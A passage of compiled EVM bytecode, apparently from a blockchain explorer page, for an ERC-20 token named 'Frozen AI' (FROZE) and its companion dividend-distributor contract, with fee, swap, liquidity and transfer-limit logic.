032a57600080fd5b50610240600d5481565b34801561034057600080fd5b506040516009815260200161024a565b34801561035c57600080fd5b506102ae61036b3660046118d8565b60096020526000908152604090205460ff1681565b34801561038c57600080fd5b506102ae61039b3660046118d8565b600a6020526000908152604090205460ff1681565b3480156103bc57600080fd5b506017546102ae90610100900460ff1681565b3480156103db57600080fd5b506103ef6103ea3660046118d8565b610872565b005b3480156103fd57600080fd5b506102ae61040c3660046118d8565b6108c7565b34801561041d57600080fd5b50610240600e5481565b34801561043357600080fd5b50610240600f5481565b34801561044957600080fd5b506102406104583660046118d8565b6001600160a01b031660009081526007602052604090205490565b34801561047f57600080fd5b506103ef6108d5565b34801561049457600080fd5b5061024060185481565b3480156104aa57600080fd5b5061024060195481565b3480156104c057600080fd5b506000546001600160a01b03165b6040516001600160a01b03909116815260200161024a565b3480156104f257600080fd5b5060408051808201909152600581526446524f5a4560d81b6020820152610281565b34801561052057600080fd5b50610240600c5481565b34801561053657600080fd5b506013546104ce906001600160a01b031681565b34801561055657600080fd5b506102ae61056536600461186b565b610949565b34801561057657600080fd5b506015546104ce906001600160a01b031681565b34801561059657600080fd5b5061024060145481565b3480156105ac57600080fd5b5061024060115481565b3480156105c257600080fd5b506005546104ce906001600160a01b031681565b3480156105e257600080fd5b506017546102ae9062010000900460ff1681565b34801561060257600080fd5b506102406106113660046118f5565b6001600160a01b03918216600090815260086020908152604080832093909416825291909152205490565b34801561064857600080fd5b506103ef61065736600461192e565b610956565b34801561066857600080fd5b506103ef6109a0565b34801561067d57600080fd5b506103ef61068c36600461192e565b6109ff565b34801561069d57600080fd5b506103ef6106ac3660046118d8565b610a49565b3480156106bd57600080fd5b506103ef6106cc366004611947565b610b33565b3480156106dd57600080fd5b506012546104ce906001600160a01b031681565b3360008181526008602090815260408083206001600160a01b038716808552925280832085905551919290917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259061074c9086815260200190565b60405180910390a35060015b92915050565b6001600160a01b03831660009081526008602090815260408083203384529091528120546000191461080b576040805180820182526016815275496e73756666696369656e7420416c6c6f77616e636560501b6020808301919091526001600160a01b03871660009081526008825283812033825290915291909120546107e6918490610b88565b6001600160a01b03851660009081526008602090815260408083203384529091529020555b610816848484610bc2565b90505b9392505050565b6002546001600160a01b031660009081526007602052604081205461086d906001546001600160a01b03166000908152600760205260409020546108679060065490610fd1565b90610fd1565b905090565b6000546001600160a01b031633146108a55760405162461bcd60e51b815260040161089c9061197a565b60405180910390fd5b600580546001600160a01b0319166001600160a01b0392909216919091179055565b6000610758826000196106f1565b6000546001600160a01b031633146108ff5760405162461bcd60e51b815260040161089c9061197a565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000610819338484610bc2565b6000546001600160a01b031633146109805760405162461bcd60e51b815260040161089c9061197a565b60648160065461099091906119c5565b61099a91906119dc565b60185550565b601554604051630afbf02f60e11b81523360048201526001600160a01b03909116906315f7e05e90602401600060405180830381600087803b1580156109e557600080fd5b505af11580156109f9573d6000803e3d6000fd5b50505050565b6000546001600160a01b03163314610a295760405162461bcd60e51b815260040161089c9061197a565b606481600654610a3991906119c5565b610a4391906119dc565b60195550565b6000546001600160a01b03163314610a735760405162461bcd60e51b815260040161089c9061197a565b6001600160a01b038116610ad85760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b606482015260840161089c565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6000546001600160a01b03163314610b5d5760405162461bcd60e51b815260040161089c9061197a565b6001600160a01b03919091166000908152600b60205260409020805460ff1916911515919091179055565b60008184841115610bac5760405162461bcd60e51b815260040161089c9190611805565b506000610bb984866119fe565b95945050505050565b60175460009060ff1615610bec57610bda8383611013565b610be58484846110a9565b9050610819565b6013546001600160a01b03163314801590610c0a575060175460ff16155b8015610c1d5750601754610100900460ff165b8015610c3a5750601a543060009081526007602052604090205410155b15610c4757610c4761118f565b601454158015610c6457506013546001600160a01b038481169116145b15610c94576001600160a01b038416600090815260076020526040902054610c8b57600080fd5b610c9443601455565b6001600160a01b0384166000908152600b602052604090205460ff16610cfa57601854821115610cfa5760405162461bcd60e51b8152602060048201526011602482015270151608131a5b5a5d08115e18d959591959607a1b604482015260640161089c565b6040805180820182526014815273496e73756666696369656e742042616c616e636560601b6020808301919091526001600160a01b038716600090815260079091529190912054610d4c918490610b88565b6001600160a01b038516600090815260076020908152604080832093909355600990529081205460ff16158015610d9c57506001600160a01b03841660009081526009602052604090205460ff16155b610da65782610db1565b610db18585856115cd565b9050610dbd8482611013565b6001600160a01b038416600090815260076020526040902054610de090826116b9565b6001600160a01b038086166000908152600760209081526040808320949094559188168152600a909152205460ff16610e84576015546001600160a01b0386811660008181526007602052604090819020549051630a5b654b60e11b8152600481019290925260248201529116906314b6ca9690604401600060405180830381600087803b158015610e7157600080fd5b505af1925050508015610e82575060015b505b6001600160a01b0384166000908152600a602052604090205460ff16610f15576015546001600160a01b0385811660008181526007602052604090819020549051630a5b654b60e11b8152600481019290925260248201529116906314b6ca9690604401600060405180830381600087803b158015610f0257600080fd5b505af1925050508015610f13575060015b505b6015546016546040516001624d3b8760e01b031981526001600160a01b039092169163ffb2c47991610f4d9160040190815260200190565b600060405180830381600087803b158015610f6757600080fd5b505af1925050508015610f78575060015b50836001600160a01b0316856001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051610fbe91815260200190565b60405180910390a3506001949350505050565b600061081983836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610b88565b6001600160a01b0382166000908152600b602052604090205460ff166110a55760195461105f82611059856001600160a01b031660009081526007602052604090205490565b906116b9565b11156110a55760405162461bcd60e51b815260206004820152601560248201527415d85b1b195d08131a5b5a5d08115e18d959591959605a1b604482015260640161089c565b5050565b6040805180820182526014815273496e73756666696369656e742042616c616e636560601b6020808301919091526001600160a01b03861660009081526007909152918220546110fa918490610b88565b6001600160a01b03808616600090815260076020526040808220939093559085168152205461112990836116b9565b6001600160a01b0380851660008181526007602052604090819020939093559151908616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9061117d9086815260200190565b60405180910390a35060019392505050565b6017805460ff19166001179055601a546000906111ad9060056119c5565b306000908152600760205260408120549192509082106111dc57306000908152600760205260409020546111de565b815b905060006112086002611202601054611202600c548761171890919063ffffffff16565b9061179a565b905060006112168383610fd1565b6040805160028082526060820183529293506000929091602083019080368337019050509050308160008151811061125057611250611a11565b6001600160a01b03928316602091820292909201810191909152601254604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa1580156112a9573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906112cd9190611a27565b816001815181106112e0576112e0611a11565b6001600160a01b03928316602091820292909201015260125460405163791ac94760e01b815291169063791ac94790611326908590600090869030904290600401611a44565b600060405180830381600087803b15801561134057600080fd5b505af1158015611354573d6000803e3d6000fd5b5050600c54479250600091506113789061136f90600261179a565b60105490610fd1565b9050600061139a600261120284611202600c548861171890919063ffffffff16565b905060006113b783611202600d548761171890919063ffffffff16565b9050601560009054906101000a90046001600160a01b03166001600160a01b031663d0e30db0826040518263ffffffff1660e01b81526004016000604051808303818588803b15801561140957600080fd5b505af19350505050801561141b575060015b508615611515576012546001600160a01b031663f305d71983308a60008061144b6000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af11580156114b3573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906114d89190611ab5565b505060408051848152602081018a90527f424db2872186fa7e7afa7a5e902ed3b49a2ef19c2f5431e672462495dd6b450692500160405180910390a15b60055460405147916000916001600160a01b039091169083908381818185875af1925050503d8060008114611566576040519150601f19603f3d011682016040523d82523d6000602084013e61156b565b606091505b5050600554604051848152919250821515916001600160a01b03909116907f400f4a6d48c50744c10f5f246af57fb43b7120d0d96811fcb2a827f2e9e3c2779060200160405180910390a350506017805460ff19169055505050505050505050565b60135460009081906001600160a01b03908116908616036116095761160260646112026010548661171890919063ffffffff16565b905061163c565b6013546001600160a01b039081169085160361163c5761163960646112026011548661171890919063ffffffff16565b90505b3060009081526007602052604090205461165690826116b9565b30600081815260076020526040908190209290925590516001600160a01b038716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906116a79085815260200190565b60405180910390a3610bb98382610fd1565b6000806116c68385611ae3565b9050838110156108195760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161089c565b60008260000361172a57506000610758565b600061173683856119c5565b90508261174385836119dc565b146108195760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b606482015260840161089c565b600061081983836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250600081836117f85760405162461bcd60e51b815260040161089c9190611805565b506000610bb984866119dc565b600060208083528351808285015260005b8181101561183257858101830151858201604001528201611816565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b038116811461186857600080fd5b50565b6000806040838503121561187e57600080fd5b823561188981611853565b946020939093013593505050565b6000806000606084860312156118ac57600080fd5b83356118b781611853565b925060208401356118c781611853565b929592945050506040919091013590565b6000602082840312156118ea57600080fd5b813561081981611853565b6000806040838503121561190857600080fd5b823561191381611853565b9150602083013561192381611853565b809150509250929050565b60006020828403121561194057600080fd5b5035919050565b6000806040838503121561195a57600080fd5b823561196581611853565b91506020830135801515811461192357600080fd5b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052601160045260246000fd5b8082028115828204841417610758576107586119af565b6000826119f957634e487b7160e01b600052601260045260246000fd5b500490565b81810381811115610758576107586119af565b634e487b7160e01b600052603260045260246000fd5b600060208284031215611a3957600080fd5b815161081981611853565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611a945784516001600160a01b031683529383019391830191600101611a6f565b50506001600160a01b03969096166060850152505050608001529392505050565b600080600060608486031215611aca57600080fd5b8351925060208401519150604084015190509250925092565b80820180821115610758576107586119af56fea26469706673582212201ef51d52c2591ee35db12253985629840ad3d73ff1fe60cf828c338603e032db64736f6c634300081300336080604052600280546001600160a01b0319908116731b02da8cb0d097eb8d57a175b88c7d8b47997506179091556003805490911673912ce59144191c1204e64559fe8253a0e49e65481790556ec097ce7bc90715b34b9f1000000000600c55610384600d55670de0b6b3a7640000600e5534801561007d57600080fd5b506040516111fc3803806111fc83398101604081905261009c916100ed565b6001600160a01b0381166100bb576002546001600160a01b03166100bd565b805b600180546001600160a01b03929092166001600160a01b031992831617905560008054909116331790555061011d565b6000602082840312156100ff57600080fd5b81516001600160a01b038116811461011657600080fd5b9392505050565b6110d08061012c6000396000f3fe6080604052600436106100f35760003560e01c806376d11fee1161008a578063e2d2e21911610059578063e2d2e21914610286578063efca2eed1461029c578063ffb2c479146102b2578063ffd49c84146102d257600080fd5b806376d11fee146101fc578063997664d714610211578063ce7c2ac214610227578063d0e30db01461027e57600080fd5b80632d48e896116100c65780632d48e896146101835780633a98ef39146101a35780634ba51437146101b95780634fab0ae8146101e657600080fd5b806311ce023d146100f857806314b6ca961461012157806315f7e05e1461014357806328fd319814610163575b600080fd5b34801561010457600080fd5b5061010e600c5481565b6040519081526020015b60405180910390f35b34801561012d57600080fd5b5061014161013c366004610e4c565b6102e8565b005b34801561014f57600080fd5b5061014161015e366004610e78565b61046a565b34801561016f57600080fd5b5061010e61017e366004610e78565b610497565b34801561018f57600080fd5b5061014161019e366004610e95565b610522565b3480156101af57600080fd5b5061010e60085481565b3480156101c557600080fd5b506101ce61054e565b6040516001600160a01b039091168152602001610118565b3480156101f257600080fd5b5061010e600e5481565b34801561020857600080fd5b5061010e610589565b34801561021d57600080fd5b5061010e60095481565b34801561023357600080fd5b50610263610242366004610e78565b60076020526000908152604090208054600182015460029092015490919083565b60408051938452602084019290925290820152606001610118565b6101416105b1565b34801561029257600080fd5b5061010e600b5481565b3480156102a857600080fd5b5061010e600a5481565b3480156102be57600080fd5b506101416102cd366004610eb7565b6108b9565b3480156102de57600080fd5b5061010e600d5481565b6000546001600160a01b031633148061030057503330145b61030957600080fd5b6001600160a01b0382166000908152600760205260409020541561033057610330826109c7565b60008111801561035657506001600160a01b038216600090815260076020526040902054155b156103bc57600480546001600160a01b0384166000818152600560205260408120839055600183018455929092527f8a35acfbc15ff81a39ae7d344fd709f28e8600b4aa8c65c6b64bfe7fe36bd19b0180546001600160a01b03191690911790556103ef565b801580156103e157506001600160a01b03821660009081526007602052604090205415155b156103ef576103ef82610ae5565b6001600160a01b03821660009081526007602052604090205460085461042091839161041a91610bfa565b90610c45565b6008556001600160a01b038216600090815260076020526040902081905561044781610ca9565b6001600160a01b0390921660009081526007602052604090206001019190915550565b6000546001600160a01b031633148061048257503330145b61048b57600080fd5b610494816109c7565b50565b6001600160a01b03811660009081526007602052604081205481036104be57506000919050565b6001600160a01b0382166000908152600760205260408120546104e090610ca9565b6001600160a01b038416600090815260076020526040902060010154909150808211610510575060009392505050565b61051a8282610bfa565b949350505050565b6000546001600160a01b031633148061053a57503330145b61054357600080fd5b600d91909155600e55565b600080546001600160a01b031633148061056757503330145b61057057600080fd5b50731bead9b86bc2e3651763e9367f2cacc7cfbf429690565b600080546001600160a01b03163314806105a257503330145b6105ab57600080fd5b50606490565b6000546001600160a01b03163314806105c957503330145b6105d257600080fd5b60006105f06105df610589565b6105ea34600a610cc6565b90610d48565b90506105fa61054e565b6001600160a01b03166108fc829081150290604051600060405180830381858888f19350505050158015610632573d6000803e3d6000fd5b50600061063f3483610bfa565b6003546040516370a0823160e01b81523060048201529192506000916001600160a01b03909116906370a0823190602401602060405180830381865afa15801561068d573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106b19190610ed0565b60408051600280825260608201835292935060009290916020830190803683375050600154604080516315ab88c960e31b815290519394506001600160a01b039091169263ad5c4648925060048083019260209291908290030181865afa158015610720573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107449190610ee9565b8160008151811061075757610757610f06565b6001600160a01b03928316602091820292909201015260035482519116908290600190811061078857610788610f06565b6001600160a01b03928316602091820292909201015260015460405163b6f9de9560e01b815291169063b6f9de959085906107ce90600090869030904290600401610f1c565b6000604051808303818588803b1580156107e757600080fd5b505af11580156107fb573d6000803e3d6000fd5b50506003546040516370a0823160e01b81523060048201526000945061087b93508692506001600160a01b03909116906370a0823190602401602060405180830381865afa158015610851573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108759190610ed0565b90610bfa565b60095490915061088b9082610c45565b600955600854600c546108af916108a6916105ea9085610cc6565b600b5490610c45565b600b555050505050565b6000546001600160a01b03163314806108d157503330145b6108da57600080fd5b60045460008190036108ea575050565b60008060005a90505b848210801561090157508383105b156109c05783600f5410610915576000600f555b6109476004600f548154811061092d5761092d610f06565b6000918252602090912001546001600160a01b0316610d8a565b1561097e5761097e6004600f548154811061096457610964610f06565b6000918252602090912001546001600160a01b03166109c7565b61099361098c5a8390610bfa565b8390610c45565b91505a600f805491925060006109a883610f9c565b919050555082806109b890610f9c565b9350506108f3565b5050505050565b6001600160a01b03811660009081526007602052604081205490036109e95750565b60006109f482610497565b90508015610ae157600a54610a099082610c45565b600a5560035460405163a9059cbb60e01b81526001600160a01b038481166004830152602482018490529091169063a9059cbb906044016020604051808303816000875af1158015610a5f573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a839190610fb5565b506001600160a01b03821660009081526006602090815260408083204290556007909152902060020154610ab79082610c45565b6001600160a01b038316600090815260076020526040902060028101919091555461044790610ca9565b5050565b60048054610af590600190610fd7565b81548110610b0557610b05610f06565b60009182526020808320909101546001600160a01b0384811684526005909252604090922054600480549290931692918110610b4357610b43610f06565b600091825260208083209190910180546001600160a01b0319166001600160a01b03948516179055918316815260059182905260408120546004805491939291610b8f90600190610fd7565b81548110610b9f57610b9f610f06565b60009182526020808320909101546001600160a01b031683528201929092526040019020556004805480610bd557610bd5610fea565b600082815260209020810160001990810180546001600160a01b031916905501905550565b6000610c3c83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610dcf565b90505b92915050565b600080610c528385611000565b905083811015610c3c5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064015b60405180910390fd5b6000610c3f600c546105ea600b5485610cc690919063ffffffff16565b600082600003610cd857506000610c3f565b6000610ce48385611013565b905082610cf1858361102a565b14610c3c5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610ca0565b6000610c3c83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250610e09565b600d546001600160a01b03821660009081526006602052604081205490914291610db49190611000565b108015610c3f5750600e54610dc883610497565b1192915050565b60008184841115610df35760405162461bcd60e51b8152600401610ca0919061104c565b506000610e008486610fd7565b95945050505050565b60008183610e2a5760405162461bcd60e51b8152600401610ca0919061104c565b506000610e00848661102a565b6001600160a01b038116811461049457600080fd5b60008060408385031215610e5f57600080fd5b8235610e6a81610e37565b946020939093013593505050565b600060208284031215610e8a57600080fd5b8135610c3c81610e37565b60008060408385031215610ea857600080fd5b50508035926020909101359150565b600060208284031215610ec957600080fd5b5035919050565b600060208284031215610ee257600080fd5b5051919050565b600060208284031215610efb57600080fd5b8151610c3c81610e37565b634e487b7160e01b600052603260045260246000fd5b600060808201868352602060808185015281875180845260a086019150828901935060005b81811015610f665784516001600160a01b031683529383019391830191600101610f41565b50506001600160a01b039690961660408501525050506060015292915050565b634e487b7160e01b600052601160045260246000fd5b600060018201610fae57610fae610f86565b5060010190565b600060208284031215610fc757600080fd5b81518015158114610c3c57600080fd5b81810381811115610c3f57610c3f610f86565b634e487b7160e01b600052603160045260246000fd5b80820180821115610c3f57610c3f610f86565b8082028115828204841417610c3f57610c3f610f86565b60008261104757634e487b7160e01b600052601260045260246000fd5b500490565b600060208083528351808285015260005b818110156110795785810183015185820160400152820161105d565b506000604082860101526040601f19601f830116850101925050509291505056fea264697066735822122036a9e75eff0b5037c3952d0d71e0c9f29033c55e9acb51ba41aeda1defac613e64736f6c63430008130033

Deployed Bytecode

0x60806040526004361061021e5760003560e01c80637d1db4a511610123578063ca987b0e116100ab578063f0fc6bca1161006f578063f0fc6bca1461065c578063f1d5f51714610671578063f2fde38b14610691578063f84ba65d146106b1578063f887ea40146106d157600080fd5b8063ca987b0e146105a0578063d158272d146105b6578063da00097d146105d6578063dd62ed3e146105f6578063ec28438a1461063c57600080fd5b806398118cb4116100f257806398118cb414610514578063a8aa1b311461052a578063a9059cbb1461054a578063bad3ea6a1461056a578063bf56b3711461058a57600080fd5b80637d1db4a514610488578063807c2d9c1461049e5780638da5cb5b146104b457806395d89b41146104e657600080fd5b80633f4218e0116101a6578063571ac8b011610175578063571ac8b0146103f157806369cf17d4146104115780636b67c4df1461042757806370a082311461043d578063715018a61461047357600080fd5b80633f4218e0146103505780634355855a146103805780634a74bb02146103b05780634cb80fd5146103cf57600080fd5b80631df4ccfc116101ed5780631df4ccfc146102d357806323b872dd146102e95780632b112e49146103095780632bb14e1d1461031e578063313ce5671461033457600080fd5b80630445b6671461022a57806306fdde0314610253578063095ea7b31461028e57806318160ddd146102be57600080fd5b3661022557005b600080fd5b34801561023657600080fd5b50610240601a5481565b6040519081526020015b60405180910390f35b34801561025f57600080fd5b5060408051808201909152600981526846726f7a656e20414960b81b60208201525b60405161024a9190611805565b34801561029a57600080fd5b506102ae6102a936600461186b565b6106f1565b604051901515815260200161024a565b3480156102ca57600080fd5b50600654610240565b3480156102df57600080fd5b5061024060105481565b3480156102f557600080fd5b506102ae610304366004611897565b61075e565b34801561031557600080fd5b50610240610820565b34801561032a57600080fd5b50610240600d5481565b34801561034057600080fd5b506040516009815260200161024a565b34801561035c57600080fd5b506102ae61036b3660046118d8565b60096020526000908152604090205460ff1681565b34801561038c57600080fd5b506102ae61039b3660046118d8565b600a6020526000908152604090205460ff1681565b3480156103bc57600080fd5b506017546102ae90610100900460ff1681565b3480156103db57600080fd5b506103ef6103ea3660046118d8565b610872565b005b3480156103fd57600080fd5b506102ae61040c3660046118d8565b6108c7565b34801561041d57600080fd5b50610240600e5481565b34801561043357600080fd5b50610240600f5481565b34801561044957600080fd5b506102406104583660046118d8565b6001600160a01b031660009081526007602052604090205490565b34801561047f57600080fd5b506103ef6108d5565b34801561049457600080fd5b5061024060185481565b3480156104aa57600080fd5b5061024060195481565b3480156104c057600080fd5b506000546001600160a01b03165b6040516001600160a01b03909116815260200161024a565b3480156104f257600080fd5b5060408051808201909152600581526446524f5a4560d81b6020820152610281565b34801561052057600080fd5b50610240600c5481565b34801561053657600080fd5b506013546104ce906001600160a01b031681565b34801561055657600080fd5b506102ae61056536600461186b565b610949565b34801561057657600080fd5b506015546104ce906001600160a01b031681565b34801561059657600080fd5b5061024060145481565b3480156105ac57600080fd5b5061024060115481565b3480156105c257600080fd5b506005546104ce906001600160a01b031681565b3480156105e257600080fd5b506017546102ae9062010000900460ff1681565b34801561060257600080fd5b506102406106113660046118f5565b6001600160a01b03918216600090815260086020908152604080832093909416825291909152205490565b34801561064857600080fd5b506103ef61065736600461192e565b610956565b34801561066857600080fd5b506103ef6109a0565b34801561067d57600080fd5b506103ef61068c36600461192e565b6109ff565b34801561069d57600080fd5b506103ef6106ac3660046118d8565b610a49565b3480156106bd57600080fd5b506103ef6106cc366004611947565b610b33565b3480156106dd57600080fd5b506012546104ce906001600160a01b031681565b3360008181526008602090815260408083206001600160a01b038716808552925280832085905551919290917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259061074c9086815260200190565b60405180910390a35060015b92915050565b6001600160a01b03831660009081526008602090815260408083203384529091528120546000191461080b576040805180820182526016815275496e73756666696369656e7420416c6c6f77616e636560501b6020808301919091526001600160a01b03871660009081526008825283812033825290915291909120546107e6918490610b88565b6001600160a01b03851660009081526008602090815260408083203384529091529020555b610816848484610bc2565b90505b9392505050565b6002546001600160a01b031660009081526007602052604081205461086d906001546001600160a01b03166000908152600760205260409020546108679060065490610fd1565b90610fd1565b905090565b6000546001600160a01b031633146108a55760405162461bcd60e51b815260040161089c9061197a565b60405180910390fd5b600580546001600160a01b0319166001600160a01b0392909216919091179055565b6000610758826000196106f1565b6000546001600160a01b031633146108ff5760405162461bcd60e51b815260040161089c9061197a565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000610819338484610bc2565b6000546001600160a01b031633146109805760405162461bcd60e51b815260040161089c9061197a565b60648160065461099091906119c5565b61099a91906119dc565b60185550565b601554604051630afbf02f60e11b81523360048201526001600160a01b03909116906315f7e05e90602401600060405180830381600087803b1580156109e557600080fd5b505af11580156109f9573d6000803e3d6000fd5b50505050565b6000546001600160a01b03163314610a295760405162461bcd60e51b815260040161089c9061197a565b606481600654610a3991906119c5565b610a4391906119dc565b60195550565b6000546001600160a01b03163314610a735760405162461bcd60e51b815260040161089c9061197a565b6001600160a01b038116610ad85760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b606482015260840161089c565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6000546001600160a01b03163314610b5d5760405162461bcd60e51b815260040161089c9061197a565b6001600160a01b03919091166000908152600b60205260409020805460ff1916911515919091179055565b60008184841115610bac5760405162461bcd60e51b815260040161089c9190611805565b506000610bb984866119fe565b95945050505050565b60175460009060ff1615610bec57610bda8383611013565b610be58484846110a9565b9050610819565b6013546001600160a01b03163314801590610c0a575060175460ff16155b8015610c1d5750601754610100900460ff165b8015610c3a5750601a543060009081526007602052604090205410155b15610c4757610c4761118f565b601454158015610c6457506013546001600160a01b038481169116145b15610c94576001600160a01b038416600090815260076020526040902054610c8b57600080fd5b610c9443601455565b6001600160a01b0384166000908152600b602052604090205460ff16610cfa57601854821115610cfa5760405162461bcd60e51b8152602060048201526011602482015270151608131a5b5a5d08115e18d959591959607a1b604482015260640161089c565b6040805180820182526014815273496e73756666696369656e742042616c616e636560601b6020808301919091526001600160a01b038716600090815260079091529190912054610d4c918490610b88565b6001600160a01b038516600090815260076020908152604080832093909355600990529081205460ff16158015610d9c57506001600160a01b03841660009081526009602052604090205460ff16155b610da65782610db1565b610db18585856115cd565b9050610dbd8482611013565b6001600160a01b038416600090815260076020526040902054610de090826116b9565b6001600160a01b038086166000908152600760209081526040808320949094559188168152600a909152205460ff16610e84576015546001600160a01b0386811660008181526007602052604090819020549051630a5b654b60e11b8152600481019290925260248201529116906314b6ca9690604401600060405180830381600087803b158015610e7157600080fd5b505af1925050508015610e82575060015b505b6001600160a01b0384166000908152600a602052604090205460ff16610f15576015546001600160a01b0385811660008181526007602052604090819020549051630a5b654b60e11b8152600481019290925260248201529116906314b6ca9690604401600060405180830381600087803b158015610f0257600080fd5b505af1925050508015610f13575060015b505b6015546016546040516001624d3b8760e01b031981526001600160a01b039092169163ffb2c47991610f4d9160040190815260200190565b600060405180830381600087803b158015610f6757600080fd5b505af1925050508015610f78575060015b50836001600160a01b0316856001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051610fbe91815260200190565b60405180910390a3506001949350505050565b600061081983836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610b88565b6001600160a01b0382166000908152600b602052604090205460ff166110a55760195461105f82611059856001600160a01b031660009081526007602052604090205490565b906116b9565b11156110a55760405162461bcd60e51b815260206004820152601560248201527415d85b1b195d08131a5b5a5d08115e18d959591959605a1b604482015260640161089c565b5050565b6040805180820182526014815273496e73756666696369656e742042616c616e636560601b6020808301919091526001600160a01b03861660009081526007909152918220546110fa918490610b88565b6001600160a01b03808616600090815260076020526040808220939093559085168152205461112990836116b9565b6001600160a01b0380851660008181526007602052604090819020939093559151908616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9061117d9086815260200190565b60405180910390a35060019392505050565b6017805460ff19166001179055601a546000906111ad9060056119c5565b306000908152600760205260408120549192509082106111dc57306000908152600760205260409020546111de565b815b905060006112086002611202601054611202600c548761171890919063ffffffff16565b9061179a565b905060006112168383610fd1565b6040805160028082526060820183529293506000929091602083019080368337019050509050308160008151811061125057611250611a11565b6001600160a01b03928316602091820292909201810191909152601254604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa1580156112a9573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906112cd9190611a27565b816001815181106112e0576112e0611a11565b6001600160a01b03928316602091820292909201015260125460405163791ac94760e01b815291169063791ac94790611326908590600090869030904290600401611a44565b600060405180830381600087803b15801561134057600080fd5b505af1158015611354573d6000803e3d6000fd5b5050600c54479250600091506113789061136f90600261179a565b60105490610fd1565b9050600061139a600261120284611202600c548861171890919063ffffffff16565b905060006113b783611202600d548761171890919063ffffffff16565b9050601560009054906101000a90046001600160a01b03166001600160a01b031663d0e30db0826040518263ffffffff1660e01b81526004016000604051808303818588803b15801561140957600080fd5b505af19350505050801561141b575060015b508615611515576012546001600160a01b031663f305d71983308a60008061144b6000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af11580156114b3573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906114d89190611ab5565b505060408051848152602081018a90527f424db2872186fa7e7afa7a5e902ed3b49a2ef19c2f5431e672462495dd6b450692500160405180910390a15b60055460405147916000916001600160a01b039091169083908381818185875af1925050503d8060008114611566576040519150601f19603f3d011682016040523d82523d6000602084013e61156b565b606091505b5050600554604051848152919250821515916001600160a01b03909116907f400f4a6d48c50744c10f5f246af57fb43b7120d0d96811fcb2a827f2e9e3c2779060200160405180910390a350506017805460ff19169055505050505050505050565b60135460009081906001600160a01b03908116908616036116095761160260646112026010548661171890919063ffffffff16565b905061163c565b6013546001600160a01b039081169085160361163c5761163960646112026011548661171890919063ffffffff16565b90505b3060009081526007602052604090205461165690826116b9565b30600081815260076020526040908190209290925590516001600160a01b038716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906116a79085815260200190565b60405180910390a3610bb98382610fd1565b6000806116c68385611ae3565b9050838110156108195760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161089c565b60008260000361172a57506000610758565b600061173683856119c5565b90508261174385836119dc565b146108195760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b606482015260840161089c565b600061081983836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250600081836117f85760405162461bcd60e51b815260040161089c9190611805565b506000610bb984866119dc565b600060208083528351808285015260005b8181101561183257858101830151858201604001528201611816565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b038116811461186857600080fd5b50565b